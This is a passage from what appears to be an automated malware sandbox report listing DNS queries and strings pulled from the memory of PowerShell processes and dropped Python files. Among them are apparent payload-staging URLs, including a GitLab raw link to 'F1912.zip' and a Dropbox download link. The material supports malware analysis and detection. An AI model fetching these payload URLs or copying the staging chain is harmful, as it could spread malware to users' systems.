https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; media-src https:// blob: ; font-src https://* data: equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: gitlab.com

Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: pythonw.exe.19.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC91D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-block-www-env.dropbox-dns.com
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gitlab.com
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	String found in binary or memory: http://hdl.handle.net/1895.22/1013
Source: powershell.exe, 0000000C.00000002.1426491698.000001C5BB323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5ACC96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1426491698.000001C5BB465000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC847000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2563617274.0000027DDAE2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2563617274.0000027DDAF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCAFF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AB2B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCADC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18E17B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC91D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC922000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www-env.dropbox-dns.com
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCAFF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18F79F000.00000004.00000800.00020000.00000000.sdmp, python312.dll.19.dr, pythonw.exe.19.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.dropbox.com
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	String found in binary or memory: http://www.pythonlabs.com/logos.html
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AB2B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCADC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18E1A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18E1BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://collector.prd-278964.gl-product-analytics.com
Source: powershell.exe, 0000000E.00000002.2563617274.0000027DDAF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000E.00000002.2563617274.0000027DDAF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000E.00000002.2563617274.0000027DDAF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://customers.gitlab.com
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCAFF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCB9F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/sandbox/;
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/-/speedscope/index.html
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/admin/
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/assets/
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCADC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCAFF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/fgh8090051/jgh/-/raw/main/F1912.zip
Source: powershell.exe, 0000000E.00000002.2514279932.0000027DC92D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitlab.com/fgh8090051/jgh/-/raw/main/f1912.zip
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCB9F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2603805919.000001C18E720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env
Source: powershell.exe, 0000000C.00000002.1426491698.000001C5BB323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5ACC96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1426491698.000001C5BB465000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2563617274.0000027DDAE2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2563617274.0000027DDAF72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	String found in binary or memory: https://opensource.org
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: python312.dll.19.dr	String found in binary or memory: https://peps.python.org/pep-0263/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sentry.gitlab.net
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snowplow.trx.gitlab.net
Source: powershell.exe, 0000000E.00000002.2514409719.0000027DCC408000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2514409719.0000027DCC3E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sourcegraph.com
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uc48b2f7dd7fd9f4330d984dcf26.dl.dropboxusercontent.com/cd/0/get/CgijYi4OcK2CyCBSchTDdc5lDd_x
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	String found in binary or memory: https://www.apache.org/licenses/
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	String found in binary or memory: https://www.cnri.reston.va.us)
Source: powershell.exe, 00000013.00000002.2603805919.000001C18F120000.00000004.00000800.00020000.00000000.sdmp, LICENSE.txt.19.dr	String found in binary or memory: https://www.cwi.nl)
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC42F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: powershell.exe, 0000000C.00000002.1411821979.000001C5AC8FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC8DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1411821979.000001C5AC903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
